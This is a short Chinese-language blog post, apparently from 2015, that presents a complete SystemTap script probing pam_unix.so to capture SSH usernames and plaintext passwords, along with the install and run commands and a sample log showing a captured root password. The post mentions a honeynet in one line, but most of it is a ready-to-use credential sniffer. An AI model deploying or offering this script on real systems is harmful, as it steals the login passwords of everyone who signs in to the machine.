systemtap 是一個 kernel debug 工具,所以可以分析 kernel 層級的東西。

Linux 利用 PAM 來驗證 使用者 資訊,所以 systemtap 就可用 pam_unix.so 來存取過濾 SSH 登入的過程,進而抓取我要的東西。

可以想像這樣子就像是 honeynet 了

安裝相關套件

yum install systemtap
debuginfo-install $(rpm -qf /lib64/security/pam_unix.so)

vi capture.stp

#!/usr/bin/stap
global username, pass, isSuccRet = 1;
probe process("/lib64/security/pam_unix.so").function("_unix_verify_password")
{
username = user_string($name);
pass = user_string($p);
}
probe process("/lib64/security/pam_unix.so").function("_unix_verify_password").return
{
if ($return == 0)
{
printf("User: %s\nPassword: %s\n\n", username, pass);
isSuccRet = 0;
}
}
probe process("/lib64/security/pam_unix.so").function("pam_sm_open_session")
{
if (isSuccRet != 0)
{
printf("Login via ssh service.\n\User: %s\nPassword: %s\n\n", username, pass);
}
isSuccRet = 1;
}

執行捕抓

stap capture.stp -o password.txt

測試登入,就可以看到 password.txt 裡記錄著

User: root
Password: 123456

參考 Use systemtap to grab a SSH login user name and password

最後修改日期: 2015 年 04 月 02 日

作者

留言

撰寫回覆或留言

發佈留言必須填寫的電子郵件地址不會公開。